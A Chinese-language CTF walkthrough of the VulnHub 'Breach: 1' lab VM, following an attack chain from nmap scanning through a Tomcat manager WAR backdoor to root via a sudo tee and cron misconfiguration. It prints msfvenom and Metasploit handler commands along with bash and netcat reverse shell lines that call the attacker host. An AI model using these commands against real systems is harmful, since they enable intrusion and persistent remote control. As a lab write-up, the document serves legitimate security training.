🌟?關注這個靶場的其它相關筆記：[網安靶場] 紅隊綜合滲透靶場 —— VulnHub · 靶場筆記合集

Breach: 1 ~ VulnHubBreach: 1, made by mrb3n. Download & walkthrough links are available.https://vulnhub.com/entry/breach-1,152/

0x01：Breach - 1 靶場描述

0x0101：靶場簡介

"Breach 1.0" 是一個適合新手到中級玩家的 boot2root/CTF 挑戰。它要求參與者進行扎實的信息收集和堅持不懈的探索。該靶場的關鍵信息如下（好像沒有目標嘿）：

• 目標 VM 的靜態 IP 地址是 192.168.110.140，需要將主機的僅主機適配器配置到該子網。

• 該靶場是該系列的第一個挑戰，旨在提高參與者的滲透測試技能。

• 如果遇到問題，可以聯系發布者，其 Twitter 賬號為 https://twitter.com/mrb3n813

• 靶場提示用戶可能需要使用 7zip 來解壓 ZIP 文件。

0x0102：環境搭建

特別建議：滲透時采用 Kali Linux 2021 版，過高版本生成的反彈 Shell 會無法運行。

Download：https://download.vulnhub.com/breach/Breach-1.0.zip

該靶場的搭建十分簡單，首先從上面的鏈接將靶機文件下載下來會解壓，解壓后得到兩個文件：

然后使用 VMWare 打開上面那個 .ova 文件，它就會讓你設置虛擬機名稱和存放位置，你照著提示設置就行（都打這個靶場了，I Trust You），設置完成后虛擬機就裝好了：

值得注意的是，該靶場的描述中說的很清楚，該虛擬機設置了靜態 IP，且 IP 為 192.168.110.140，為了能成功的給該虛擬機分配 IP，我們還得設置一下 VMWare 的網絡設置。

首先點擊 VMWare 左上角的編輯，然后選擇 “虛擬網絡編輯器”，點擊 “更改設置” 進入配置頁面：

在該頁面中我們需要設置子網 IP 為 192.168.110.0，并在 “DHCP 設置” 中修改起始 IP 和終止 IP 的范圍為 192.168.110.128 ~ 192.168.110.254：

配置完成后修改 Breach 1 的網絡適配器為 “僅主機模式”，另外我們再把一臺 Kali Linux 也配置為僅主機模式（讓 Kali 和 Breach 1 在同一個網段，方便后續反彈 Shell 啥的）：

全部都配置完成后，我們可以拿 Kali Linux 嘗試訪問一下靶機（別忘了看一下自己 Kali 的 IP 哦）：

---

如上，環境配置完成，現在，丟棄掉所有你已知的信息，開始我們的沉浸式滲透之旅。

0x02：Breach - 1 滲透流程

0x0201：Web 信息收集 —— 主機發現

滲透測試第一步，主機發現，看一下與攻擊機同網段的有哪些崽崽（裝作不知道靶機的存在），我們先看一下自己的 IP：

ip address

然后使用 Nmap 來進行局域網的主機發現：

nmap -sn 192.168.110.0/24

OK，這個局域網結構比較簡單，我們很輕松確定了滲透目標的地址：192.168.110.140。

0x0202：Web 信息收集 —— 端口掃描

確定了目標后，我們來看看目標的端口開放情況，同樣采用 Nmap：

nmap -A -v -p 0-65535 192.168.110.140
?
# -A => 自動探測目標服務的版本信息和操作系統信息，但其實會留下馬腳
# -v => 運行中間會打印運行日志
# -p 0-65535 => 指定探測目標全端口

如上，可以看到，隨便掃掃就發現目標開放了一堆端口，要知道一個服務對應一個端口，開這么多端口，它運行了 65535 個程序？大概率沒有，應該是安裝了安全設備，混淆了我們的視聽。

0x0203：Web 信息收集 —— 頁面信息收集

既然無法確定具體開放的端口，那么我們就先從最熟悉的 HTTP 80 端口開始滲透吧，訪問目標的 80 端口：

http://192.168.110.140/

是一個小故事，講述了一個受到公司壓榨的崽崽，在離職前給公司拉了個大的。記住這個入侵排查小組的領導人的名字，Bill Lumbergh，后面要考。

查看當前頁面源代碼，可以看到網頁源代碼中有一串字符，疑似是某種加密算法：

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

經常打 CTF 的寶子們應該一眼定真 Base64 了，我們嘗試使用 CyberChef 解密一下：

pgibbons:damnitfeel$goodtobeagang$ta

如上，解密出了一個 Key : Value 格式的字符串，但是暫時不知道它有啥用，我們繼續信息收集。

0x0204：Web 信息收集 —— Employee portal ？

繼續信息收集，如果你眼睛比較尖可以看到，當鼠標移動到那個老人的位置上時，鼠標會變成小手，意思是這是個超鏈接：

點擊超鏈接，我們會來到一個，導航頁面：

如上，可以看到導航頁面上有一個 “Employee portal” 即員工門戶的界面，我們進入看看：

如上，這是個 impresscms 框架，并且頁面上有個登錄框。此時，聯想一下我們前面破解的 Base64 的那個 Key : Value 格式的值，Try Try，看看是不是賬號密碼：

賬號: pgibbons
密碼: damnitfeel$goodtobeagang$ta

如上，通過前面解密得到的賬號密碼，我們成功進入了員工門戶，接下來，就是后臺入侵啦。

0x0205：impresscms 信息收集 —— 獲取 keystore 文件

要是 SRC，這可能就是結束了，但作為一個成熟的 Hacker，不以拿到控制權為目標的滲透，就是過家家。后臺入侵的一般思路有兩種：

• 歷史漏洞梭哈：通過查找當前 CMS 公開的歷史漏洞，查看有無可利用的方向。

• 敏感信息收集：通過收集用戶敏感信息或者 CMS 的敏感接口，以社工方式獲取 Shell。

這里我們優先采用第二種，進了后臺你難道不想看看人家說了啥嘛 😏，優先查看 Inbox，為啥？因為它的顏色比較醒目：

先看第一個信息，“Posting sensitive content”，雖然沒啥特別信息，但起碼確定了我們當前查看的是哪個崽崽的信息：

繼續，看第二個信息，“IDS/IPS system”，這其實是兩個安全設備，莫非，靶機上搭載了？：

繼續，看第三個信息，“FWD: Thank you for your purchase of Super Secret Cert Pro!”：

這個信息量有點大，簡而言之，我們似乎會獲得一個 SSL 證書？SSL 一般是與 HTTPS 配合使用的，不管了，先訪問它提供的地址：

http://192.168.110.140/.keystore

訪問完成后，我們會下載一個 .keystore 文件，筆者將其重命名為了 breach.keystore，該文件中疑似存放了一個 SSL 證書，但是，暫時不知道咋用（保留）：

0x0206：impresscms 信息收集 —— 獲取攻擊流量包

繼續對 impresscms 后臺進行信息收集，總之就是全部點一遍，特別留意當前用戶發送或者接收的信息，注意了，這一步一定要耐心。最終經過我們的不屑努力，會在 ”View Account“ 菜單中發現下面這個內容：

點擊進入 ”SSL implementation test capture“ ：

這個里面信息量有點大，總結下來有以下幾點：

• 它們紅隊重現了 Hack 攻擊，并且上傳了一份 pcap 流量包，地址如下：

  • http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

• pcap 流量包中流量被加密了，Peter Gibbons 無法對其解密（水貨？）

• 有人告訴 Peter Gibbons，alias、storepassword 和 keypassword 都叫 tomcat。

一個一個利用吧，我們先把 pcap 流量包下載下來，因為這個流量包是 Hack 攻擊流量包，所以我們完全可以根據流量包的信息重現攻擊流程，對目標進行滲透：

0x0207：流量包數據分析 —— TLSv 1.2 的前世今生

pcapng 是一個流量包，我們需要借助 WireShark 對其進行分析。使用 WireShark 加載我們剛剛下載下來的流量包，隨便翻翻：

流量包中有 UDP、TCP、TLSv1.2 協議的內容，我們著重了解一下 TLSv1.2。順便補充一個小知識點，即 HTTPS & SSL & TLS 協議的關系：

知識拓展：HTTPS & SSL & TLS 協議的關系

HTTPS（Hyper Text Transfer Protocol Secure）協議可以簡單理解為 HTTP + SSL/TLS，即它采用 HTTP 傳輸數據，但為了確保數據的安全，所以會用 SSL/TLS 來對數據進行加密。

SSL（Secure Sockets Layer）和 TLS（Transport Layer Security）是互聯網中用于保障網絡通信安全的兩種協議，TLS 是從 SSL 發展而來的。

SSL 協議是 1994 年由網景公司開發的，隨著不斷發展，在 SSL 3.0 的時候發現該協議中存在一些安全漏洞，后就換成了 TLS 1.0，現在通過不斷迭代就有了 TLS 1.2、TLS 1.3。

如上，可以發現 TLS v1.2 實際上就是從 SSL 發展而來的，所以我們捕獲的流量包中的 TLSv1.2 協議的流量說白了就是被加密的流量，既然有加密，那肯定能解密，解密我們就需要用到一組密鑰。

0x0208：流量包數據分析 —— keystore 導出 SSL 證書

那么如何利用 WireShark 解密 HTTPS 流量呢，可以參考下面這篇文章（筆者也是邊做邊搜的）：

Wireshark解密HTTPS流量的兩種方法 - 豫讓 - 博客園原理 我們先回顧一下SSL/TLS的整個握手過程： Clienthello：發送客戶端的功能和首選項給服務器，在連接建立后，當希望重協商、或者響應服務器的重協商請求時會發送。 version：客戶端支持的最佳協議版本 Random：共32字節，28字節隨機數，4字節額外信息，受客戶端時鐘影響（為了避https://www.cnblogs.com/yurang/p/11505741.html

通過閱讀文章，可以看到，他是通過在 WireShark 的配置中導入了 SSL 證書來進行解密的，且該證書的后綴為 .p12：

那么問題來了，這個 .p12 證書我們咋看？還記得我們前面收集的 .keystore 文件嗎，這其實就是個存儲密鑰（公鑰、私鑰）的容器（這個也是筆者做的時候才了解到的，我們很多時候做題就是這樣，邊做邊學，還要快速學習）：

https://zhuanlan.zhihu.com/p/4482221835https://zhuanlan.zhihu.com/p/4482221835

從上面那篇文章中我們可以了解到，操作 .keystore 文件我們需要用到 keytool 這個工具，該工具是安裝完 Java 環境后自帶的，Java 的環境配置可以參考下面這篇文章：

參考資料 🚀：Java · 初窺門徑 —— Java 環境配置

通過下面這個命令，我們可以列出密鑰庫中的條目內容，列出密鑰庫條目是需要密碼的，但從前面的信息收集中我們已經得知了密碼是 tomcat：

### 通過 keytool 列出密鑰庫中的條目信息
keytool -list -keystore breach.keystore -storepass tomcat
?
# -list => 列出
# -keystore <keystore_file> => 指定要操作的密鑰庫
# -storepass <password> => 密鑰庫的解密密碼

如上，可以看到，密鑰庫中確實有一個證書，盲猜就是我們需要的 SSL 私鑰證書，可以用來解密 TLS 流量的。我們此時可以輸入下面的內容，將證書從密鑰庫中導出：

### 將密鑰庫中的條目從 JKS 格式轉換為 PKCS12 格式，并更改別名
keytool -importkeystore -srckeystore breach.keystore -destkeystore breach.p12 -srcstoretype JKS -deststoretype PKCS12 -srcstorepass tomcat -deststorepass tomcat -destkeypass tomcat -srcalias tomcat -destalias breach
?
# -srckeystore breach.keystore ? => 源密鑰庫文件
# -destkeystore breach.p12 ? ? ? => 目標密鑰庫文件
# -srcstoretype JKS ? ? ? ? ? ?  => 源密鑰庫類型為JKS（Java默認格式）
# -deststoretype PKCS12 ? ? ? ?  => 目標密鑰庫類型為PKCS12（跨平臺通用格式）
# -srcstorepass tomcat ? ? ? ? ? => 源密鑰庫密碼
# -deststorepass tomcat ? ? ? ?  => 目標密鑰庫密碼
# -destkeypass tomcat ? ? ? ? ?  => 目標條目（私鑰）密碼
# -srcalias tomcat ? ? ? ? ? ? ? => 源密鑰庫中的別名
# -destalias breach ? ? ? ? ? ?  => 目標密鑰庫中的新別名

OK，如上，我們成功從 .keystore 文件中導出了我們需要的 SSL 私鑰證書（公私鑰加密了解一下）。

0x0209：流量包數據分析 —— WireShark 解密 HTTPS 流量

有了 SSL 的私鑰證書，我們就可以使用 WireShark 對 TLSv1.2 協議流量（也就是 HTTPS 的加密流量）進行解密了。首先在 WireShark 頁面上選擇 “編輯”，點擊 “首選項” 菜單：

在 “首選項” 菜單中找到 Protocols （協議）選項：

然后就在這個 Protocols 里找到 TLS 協議（因為我們要解密的是 TLS v1.2 的流量嘛），點擊 Edit：

然后將我們剛剛拿到的 SSL 私鑰證書導入進去，配置如下：

配置完成后，你就會看到，解密出了一堆 HTTP 請求：

0x0210：流量包數據分析 —— HTTP 攻擊鏈路還原

篩選出流量中的 HTTP 協議，然后追蹤一下，可以看到如下內容：

一眼定真，攻擊者登錄了一個后臺，我們把 200 的那個 HTTP 請求響應的 HTML 代碼當下來看看：

如上，可以看到，當下來的 HTML 的內容很明顯就是一個 Tomcat 的后臺頁面。那么接下來，思路很清晰了，我們也去請求服務端的那個 Tomcat 的后臺頁面看看：

https://192.168.110.140:8443/_M@nag3Me/html

0x0211：攻擊鏈路還原 —— 訪問目標 Tomcat 后臺

很遺憾的是，使用自帶的瀏覽器，我們訪問上面的地址，他會提示這個內容：

無法訪問該站點？一般這種情況，小白可能就以為，目標沒有開啟這個服務，或者我們網斷了？但其實不是，這是由于靶機的 SSL 證書的問題：

當我們訪問某個站點時，瀏覽器會先拿到服務器的證書文件，該文件可以證明這個服務器是真實的服務器，沒有被偽造，然后瀏覽器會去校驗該證書文件的準確性，如果證書有問題，現在的瀏覽器就會直接組織用戶對其進行的訪問，也就會出現上面展示的內容。

那么解決思路其實比較簡單，有兩種：

• 不推薦：降低瀏覽器的安全級別（這個說實話，筆者也不會，但也不建議這么做）。

• 推薦：使用代理瀏覽器，只要確保證書正確就可以了。

我們可以采用 BurpSuite 自帶的瀏覽器對目標發起訪問，因為 BP 瀏覽器中間隔了個 BP，BP 會將服務端發送過來的數據，用自己的證書簽名后發送給客戶的瀏覽器，而 BP 證書是沒有問題的，所以客戶的瀏覽器就會認可這個信息，自然客戶端的瀏覽器就會允許訪問目標站點了：

理論成功，BP 啟動 ！！ 使用 BP 內置瀏覽器訪問目標 Tomcat 后臺地址：

https://192.168.110.140:8443/_M@nag3Me/html

如上，使用 BP 內置瀏覽器訪問攻擊者提供的地址，果然，訪問成功，但是彈出了一個認證彈窗，這就是下一步我們要攻破的內容。

0x0212：數據包流量分析 —— HTTP Basic 認證

像這種一個彈窗彈出來，讓你輸入賬號密碼的，在如今來看不是很常見，這其實是 HTTP Basic 認證，關于 HTTP Basic 認證，讀者可以參考下面這個地址：

HTTP認證之基本認證——Basic（一） - xiaoxiaotank - 博客園導航 HTTP認證之基本認證——Basic（一） HTTP認證之基本認證——Basic（二） HTTP認證之摘要認證——Digest（一） HTTP認證之摘要認證——Digest（二） 一、概述 Basic認證是一種較為簡單的HTTP認證方式，客戶端通過明文（Base64編碼格式）傳輸用戶名和密碼到https://www.cnblogs.com/xiaoxiaotank/p/11009796.html

其它內容筆者都沒咋看，筆者一眼定真 “客戶端通過明文（Base64 編碼格式）傳輸用戶名和密碼到服務端進行認證”：

通過上面的描述可以得知，認證是明文認證，聯想一下我們剛剛捕獲的流量包，里面鐵有正確的賬號密碼：

tomcat:Tt\5D8F(#!*u=G)4m7zB

使用上面得到的賬號密碼，我們嘗試登錄一下：

賬號: tomcat
密碼: Tt\5D8F(#!*u=G)4m7zB

如上，成功進入靶機的 Tomcat 后臺，眾所周知，Tomcat 后臺可以用來部署項目，比如 。。。部署一個后門項目？

0x0213：Tomcat 后臺滲透 —— 反彈 Shell 的坎坷之路

1. Kali Linux 版本過高引起的災難

筆者一開始挖掘到這個后臺后，第一時間其實就想用 Kali Linux 的 MSF 生成一個 War 的 Java 后門項目，然后部署上去 Get Shell，但是很遺憾，部署后訪問是下面這個結果：

后面收集信息得知，是 Kali Linux 2024 版本太高了，用它的 MSF 生成的 WAR 項目在這個 Tomcat 6.0.39 的版本上無法運行 。。。。 這不寄了嘛，然后筆者就走上了另外兩條不歸路。

2. AntSword & 冰蝎 & 哥斯拉 Get Shell 無果

當時因為測試使用 Kali Linux 2024，我嫌切換系統 + 配置環境太麻煩，果斷換工具，想先用 AntSword 啥的 Get 個 Shell 看看。為此我看了不少文章：

AntSword & 冰蝎 —— 參考資料

• 純 WebShell 無管理工具版的：Tomcat后臺部署war木馬getshell

• Tomcat 弱口令爆破 + 部署 War 后門：Tomcat弱口令爆破+war部署getshell

• AntSword Java 木馬：滲透測試 - jsp一句話大馬小馬 &&冰蝎(2025/3/13更新)

• AntSword Java 木馬：蟻劍jsp一句話木馬

• AntSword War 包木馬制作：一個有意思的雙層內網滲透實驗

• 冰蝎使用流程：webshell管理工具-冰蝎(Behinder)的安裝和基礎使用(msf聯動,流量特征)

  • 備注：默認密碼 rebeyond

• 冰蝎 Java lang.Exception 問題解決：切換 Java 11 版本

  • 參考鏈接：解決冰蝎4.1連接webshell報錯問題

• 冰蝎 Javax.net.ssl.SSLHandshakeException 問題解決：

  • javax.net.ssl.SSLHandshakeException報錯問題解決方法（親測有效）-CSDN博客

  • 【Java】已解決：javax.net.ssl.SSLHandshakeException: SSL-騰訊云開發者社區-騰訊云

反正看下來和試下來，一個能用的沒 😂，當你把 WebShell 傳上去后，部分是能直接使用的，但是每過一段時間，你再訪問，它就顯示 Not Found（這個后面要考）。

反正總而言之，沒啥好用的 WebShell，不過也學到了點東西，比如如何把 JSP 打包成 War 包上傳：

1. 編寫 test.jsp 文件，并將該文件放到一個文件夾中，比如 Test 文件夾。

2. 進入 Test 文件夾，輸入下面的內容，即可把 Test 文件夾下的內容打包為 War 包：

jar -cvf ant.war .

3. 向命運低頭 —— 降低 Kali Linux 版本成功 Get Shell

最后沒辦法，筆者去下載了一個 Kali Linux 2021 的版本，Kali 的歷史版本下載路徑如下：

Kali 歷史發布版本下載：Index of /kali-images/

然后把該系統配置到了滲透的局域網中（配置流程開頭給了），并使用下面的命令通過該系統生成一個 WAR 的后門文件：

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.150 lport=7777 -f war -o shell.war

然后在 Kali Linux 的 MSF 中輸入下面的命令，開啟 Shell 的接收端：

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.150
set lport 7777
run

然后，我們把剛剛獲得的 War 包后門部署到 Tomcat 上并訪問即可：

如上，現在我們已經成功拿到了靶機的 Shell 了，那么接下來就要進入我們的主機滲透環節了。

0x0214：Linux 主機滲透 —— 半交互 Shell => 交互式 Shell

現在我們已經拿到靶機的一個低級的控制權了，但我們滲透的目標是 Root，所以接下來就需要開始進行提權了，我們先看看當前我們是啥權限：

getuid

如上，一個平平無奇的 tomcat6，輸入下面的命令進入半交互式 Shell 中（有時候也是直接進入交互式 Shell）：

shell

如上，向上面這種 Shell，前面沒有提示符的，筆者喜歡稱其為半交互式 Shell，這種 Shell，雖然也能執行命令，并且返回結果，但當我們想要運行比如 vim 這種需要多次交互的命令時，上面這種 Shell 其實是不支持的，此時我們可以通過下面這個命令，對 Shell 進行美化一下：

python -c 'import pty; pty.spawn("/bin/bash")'

如上，美化后的 Shell 是不是好看很多，并且在這種模式下我們是能夠完成很多交互操作的，雖然表現不如真正的用遠程工具連接的那么好，但也不至于很差。

0x0215：Linux 主機滲透 —— 失敗的內核提權

參考資料 🚀：Linux 提權 — 系統內核溢出漏洞提權

提權的默認思路，先確定靶機的系統型號，看看有沒有啥內核漏洞可以直接提權的：

uname -a # 查看內核版本

如上這是個 Ubuntu 的系統，內核版本是 4.2.0 我們根據此信息去 MSF 中搜索利用腳本看看：

searchsploit Ubuntu 4.2.0

筆者測試了如下這么多的腳本，反正一個能用的都沒：

47169.c
43418.c
44300.c
44298.c
45010.c
45553.c
41886.c
41995.c
15962.c

那內核漏洞沒搞頭了，下面還有啥思路 ？有的兄弟有的，那么多想法呢：

1. 在當前用戶的工作路徑，和其他路徑中查找敏感信息。

2. 通過 history 命令查看當前用戶歷史執行的命令。

3. 通過 sudo -l 查看當前用戶可以執行的的 sudo 命令（Sudo）提權。

不過由于當前用戶是個 tomcat6 明顯只是專門為部署 Web 服務新建的用戶，所以其 history 是沒啥了，估計它也沒工作路徑，Sudo 就更別提了。但是呢，環節雖然惡劣，但也不是啥都不能做，繼續收集一波信息。

0x0216：Linux 主機滲透 —— 主機用戶信息收集

眾所周知 Linux 系統中的 /etc/passwd 中存放了所有用戶的信息，且該文件，任意用戶可讀，我們先來看看這個系統有些誰，特別留意那些可以登錄的用戶：

cat /etc/passwd

簡單分析一下，當前系統中有這么幾個可疑的賬號（/etc/passwd 中那些 nologin 就是無法登錄的用戶，這些可以不用管）：

root:x:0:0:root:/root:/bin/bash
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash

這幾個崽崽都是可以登錄的呀，這個 blumergh 有沒有感覺眼熟 ？他不就是那個 Leader 嘛（不眼熟的重新回去看看故事）。

0x0217：Linux Web 用戶滲透 —— Tomcat Web 目錄信息挖掘

我們當前用戶是啥 ？是 tomcat6 ！這是個啥用戶 ？這是個管理 Web 服務的用戶 ！那很自然的 Tomcat6 應該是有權限訪問 Web 目錄的吧，寫過 PHP 或者搭建過服務器的崽崽應該比較清楚，我們經常會把數據庫的連接密碼寫到一個文件中，然后在項目里需要與數據庫建立連接的地方再引用該文件，所以呢，我么去 Web 目錄下探探寶 ！！

該站點是采用 Apache Tomcat 配置的，所以默認情況下，其 Web 目錄為：

/var/www/html

如上，來到 /var/www 會發現一些奇怪的東西，進去看看，進入后會發現幾個奇怪的文件：

先看第一個：

cat 0d*

如上中大獎了，拿到了目標機器的數據庫賬號密碼，還是 root 級別的，第二個文件筆者也看了，其實也是數據庫的賬號密碼，這里就不做展示了。

0x0218：數據庫信息挖掘 —— 數據庫系統用戶密碼獲取

既然靶機上有 MySQL（這個在 /etc/passwd 中出現過），我猜其應該也有對應的工具，我們使用下面的命令嘗試連接一下數據庫（密碼直接按 Enter 代表空即可）：

mysql -u root -p

如上，直接進入靶機的數據庫中，我們知道數據庫里會有很多表，特別是像這種裝了 CMS 的，表中鐵有諸如 “員工信息” 之類的內容，這里面估計又會有員工的密碼 。。。 實戰中，我們完全可以對其進行拖庫，然后批量跑密碼（不建議這么做，除非你想吃國家飯）。

除了 CMS 系統中的用戶外，我們知道，MySQL 內部也有自己的用戶，比如我們現在使用的 root 用戶就是數據庫用戶，而這些用戶就儲存在 mysql 數據庫中：

參考資料 🚀：SQL 注入漏洞 —— MySQL 數據庫概述

show databases;

輸入下面的命令可以設置當前使用的數據庫，比如 mysql 數據庫：

use mysql;

然后我們來查看一下 mysql 數據庫中的表有哪些（這些在 SQL 注入的章節中應該都是學過的，筆者這么寫自己都覺得有點啰里啰唆了）：

show tables;

如上可以看到 mysql 數據庫中有一個 user 表，我們輸入下面的命令查看一下表結構：

describe user;

如上，可以看到，這個 user 表的字段還挺多的，不過我們就單純關注用戶的賬號和密碼：

select user,password from user;

如上，一眼定真，密碼是通過 md5 加密的，特別留意用戶名，milton ？這個不是 /etc/passwd 中的一個用戶嘛 ？看來我們必定要爆破它的密碼了，情緒烘托到這里了：

milton : 6450d89bd3aff1d893b85d3ad65d2ec2

訪問下面的站點，將密文給它，最終破解出來的明文如下：

thelaststraw

MD5免費在線解密破解_MD5在線加密-SOMD5MD5在線免費破解,支持md5,sha1,mysql,sha256,sha512,md4,織夢,vBulletin,Discuz,md5(Joomla),mssql(2012),ntlm,md5(base64),sha1(base64),md5(wordpress),md5(Phpbb3),md5(Unix),des(Unix)等數十種加密方式https://www.somd5.com/

0x0219：Linux 權限提升 —— 數據庫弱口令

在上一階段中，我們通過一個在線網站，成功破解了對方數據庫中 milton 用戶的密碼，而且，十分湊巧，我們當前滲透的 Linux 系統中，就有這個用戶。根據用戶的習慣（多個不同系統采用同一個密碼體系），我們可以 Try Try，在我們獲得的 Shell 中輸入下面的命令：

su milton

如上，通過破解的密碼，我們成功登上了 milton 的賬號，從一個無 Shell 的用戶進入了一個有 Shell 的用戶，咋不算是一種提權呢？

0x0220：Linux 主機用戶滲透 —— 歷史命令挖掘

一開始我們獲得的 Shell 是 Tomcat6 的，這是個管理 Web 應用的賬戶，沒有 home 目錄（一般 history 也是放在 home 目錄下的），所以其沒有 history 很正常。

但是現在，我們滲透的用戶是主機系統中真實存在的用戶，它是有 home 目錄的，自然也是有 history 的，所以為了，確保現場的完整，筆者建議，先看看這個崽崽之前運行了些啥：

history

如上，很扎眼的信息是 su root 和 su blumbergh 這兩條，證明了我們當前拿到的用戶應該是有這兩個用戶密碼的，繼續思考人性 。你說有沒有一種可能，milton 會把這兩個人的密碼存放在這臺機器上，并且防止自己忘記 ？（其實在實戰中，比如網管，它要管那么多電腦的賬號密碼，你說它會不會有小本本記錄？如果你拿到了這個小本本 。。。。 不敢想想。）

0x0221：Linux 主機用戶滲透 —— 用戶主目錄信息收集

上面都是臆想，整點實在的，去看看 milton 用戶的主目錄：

主目錄沒啥東西，一個 sh 腳本和一個 jpg，jpg 筆者下載下來看過了，啥也沒，是一個小胖子，你問我這種情況下咋從靶機下載東西 ？ 可以參考下面這個文章：

參考資料 🚀：隧道代理 — 反彈 Shell - NetCat（NC） 反彈 Shell

我們查看一下 sh 文件中的內容：

cat some_script.sh

哇哦，好驚喜哦，確實是啥都沒有，不過這也證明了，我們的每一步操作都在作者的預料之中 😂。

0x0222：圖片隱寫豪取 Bill Lumbergh 用戶權限

到上面那里，一般情況下已經沒啥思路了，內核漏洞沒有、SUDO 權限沒有（這個是筆者偷偷測的），然后 SUID（這個筆者倒是沒測，不過我猜也沒，哈哈哈實戰還是要測一下的）？

這里是一個腦洞題，我們當前拿到的用戶是 milton，通過其 history 發現了該用戶曾經登錄過 root 和 blumbergh 這兩個用戶的賬號，針對 blumbergh 你有沒有好奇一下 ？它不就是提示里那個崽崽嘛：

它的全名是 Bill Lumbergh，如果你前期對靶機做過目錄掃描，會發現下面這個路徑：

http://192.168.110.140/images/

訪問上面那個路徑，是一個圖片文件夾的路徑遍歷，且文件夾中有個圖片正好叫 bill.png，Bill Lumbergh ？ ：

將這個圖片下載下來，利用 strings 這個工具就可以從中提取出 Bill Lumbergh 的賬號密碼：

coffeestains

關于 Strings 這個工具，它其實就是從二進制文件中打印出可打印字符的一個工具，做 CTF 時經常用，你也可以用 010Editor 也是一眼定真。

如上，我們通過 Strings 提取出來的那個字符就是 Bill 的密碼，我們嘗試切換到 blumbergh 這個用戶的賬號上看看：

su blumbergh

如上，切換成功 😂，咋說呢 ？是有提示，但是你就是放到 millon 用戶主目錄上我都會想想，結果你放到了公共資源目錄下，這可還行 ？對于腦洞題，只能說，出題人高興就好。

0x0223：Linux 主機用戶滲透 —— 歷史命令挖掘

繼續，現在我們已經拿到了 Bill Lumbergh 賬戶的控制權了，老樣子，看看它的歷史命令：

history

如上，還是比較簡單的，Bill Lumbergh 看了一下 /usr/share/cleanup 下的 tidyup.sh 文件，我們也看看這是個啥：

cat /usr/share/cleanup/tidyup.sh

這是個 Hacker 防御腳本，它每三分鐘運行一次，會把 Hacker 的惡意程序給刪除掉 。。。 這就是為啥，我們在 Tomcat 中部署后門時，每隔一段時間再次訪問就會顯示 Not Found 的原因。

0x0224：Linux 信息收集 —— 定時任務信息

參考資料 🚀：Linux 提權 & 維持 — 系統錯誤配置提權 - 計劃任務提權

查看 tidyup.sh 腳本內容，發現其每三分鐘運行一次，這不就是定時任務嘛，那么接下來，我們來順水推舟，看看當前機器的定時任務有沒有啥 Bug，輸入下面的命令，查看系統中已有的定時任務：

cat /etc/crontab

emmmm，啥也沒有，居然沒有看到關于 tidyup.sh 的定時任務 ？不過這也正常，因為 /etc/crontab 是系統范圍內的 crontab 文件，每個用戶還有自己的定時任務文件呢，沒有就沒有吧，反正從滲透感覺來看，那個 tidyup.sh 確實是運行了的。

我們再來看一下 tidyup.sh 的歸屬（我們不就是想用 tidyup.sh 結合定時任務提權嘛，那肯定得看看我們有沒有對其的編輯權限咯）：

ls -al /usr/share/cleanup/

炸缸了，我們對其也就擁有可讀可執行的權限 。。。 不可編輯。OK，作為一個成熟的 Hacker，你得換個思路了，想想怎么繞過這個權限 。。。 讓我們可寫 ？

0x0225：Linux 權限提升 —— SUDO + 定時任務 提權

參考資料 🚀：Linux 提權 & 維持 — 系統錯誤配置提權 - Sudo 濫用提權

別忘了，我們還有 SUDO 提權，SUID 提權吶，首先輸入下面的命令，看看我們當前用戶可以使用 Sudo 執行的命令：

sudo -l

哎喲 ？我們當前用戶（blumbergh）可以無密碼的以 Root 身份運行下面這個命令：

sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

OK，壓制一下激動的心，看一下 tee 命令有啥用：

Linux tee命令 | 菜鳥教程Linux tee命令 Linux 命令大全 Linux tee命令用于讀取標準輸入的數據，并將其內容輸出成文件。tee指令會從標準輸入設備讀取數據，將其內容輸出到標準輸出設備，同時保存成文件。 語法tee [-ai][--help][--version][文件...] 參數： -a或--append 附加到既有文件的后面，而非覆蓋它． -i或--ignore-interrupts 忽略中斷信號。 --help 在線幫助。 -..https://www.runoob.com/linux/linux-comm-tee.html

簡而言之，tee 命令會接收用戶的輸入，并將輸入輸出到用戶后面指定的文件中，看下面這個例子：

tee hack.txt

我們繼續多想一步，通過 tee <file> 的形式我們是能接收用戶的輸入，并把輸入流導入到 file 中，那我們有沒有其他更優雅的導入方式呢 ？ Linux 的管道符了解一下 ？它能把前面命令執行的結果的輸出，作為后面命令執行的輸入 ！！

1. Bash 反彈 Shell —— 失敗

筆者備注：Bash 反彈 Shell 沒用，但是后面的 NC 反彈 Shell 可以。

使用管道符，我們可以先將反彈連接寫入到一個 txt 文件中，然后把該 txt 作為輸入，輸出到 tidyup.sh 腳本中：

echo "bash -i >& /dev/tcp/192.168.110.150/8888 0>&1" > shell.sh

然后把 shell.sh 作為輸入，利用管道符，將內容輸出到 tidyup.sh 中：

cat shell.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

如上，我們再次查看 tidyup.sh 中的內容，確實變成了反彈 Shell 的內容，此時我們在攻擊機上使用 NC 接收一下 Shell，最多等待三分鐘，靶機就會以 Root 權限上線：

nc -lvp 8888

emmm，怪尷尬的，Bash 反彈 Shell 失敗了，俺尋思俺命令也沒毛病呀，我甚至還拿 blumbergh 這個用戶主動運行了一次，成功了，但是為啥自動運行就失敗捏。

2. Netcat 反彈 Shell —— 成功

參考資料 🚀：隧道代理 — 反彈 Shell - NetCat（NC） 反彈 Shell

除 Bash 反彈 Shell 外，我們其實有 NC 反彈 Shell，老樣子把 NC 反彈 Shell 的腳本寫到 shell.sh 中：

echo "nc -e /bin/bash 192.168.110.150 8888" > shell.sh

然后把 shell.sh 作為輸入，利用管道符，將內容輸出到 tidyup.sh 中：

cat shell.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

然后老樣子，攻擊機開啟監聽，等待靶機定時任務執行，反彈 Shell：

如上，成功 Get Root 權限，老樣子，使用下面的命令美化一下終端：

python -c 'import pty; pty.spawn("/bin/bash")'

0x0226：奪取滲透目標 —— .flag.txt

現在我們已經是 Root 用戶了，已經是頂級權限了，但別忘了我們的目標 flag。一般 flag 其實都會放到 root 用戶的主目錄下：

ls /root

